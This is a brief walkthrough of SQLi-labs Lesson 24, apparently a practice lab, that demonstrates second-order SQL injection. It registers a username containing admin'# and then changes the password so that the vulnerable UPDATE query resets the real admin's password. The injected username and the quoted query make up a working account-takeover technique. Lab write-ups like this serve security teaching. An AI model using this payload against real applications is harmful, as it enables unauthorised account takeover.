SQLi-labs: Lesson 24
Second order SQL injection
Suppose you want to change admin’s password.
- Register a new user, use
admin’#
as username. - Login as
admin'#
and change your password to, for example,1234
. The source code is:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
so the sql query would be:
UPDATE users SET PASSWORD='1234' where username='admin'#' and password='$curr_pass'
admin’s password is successfully changed.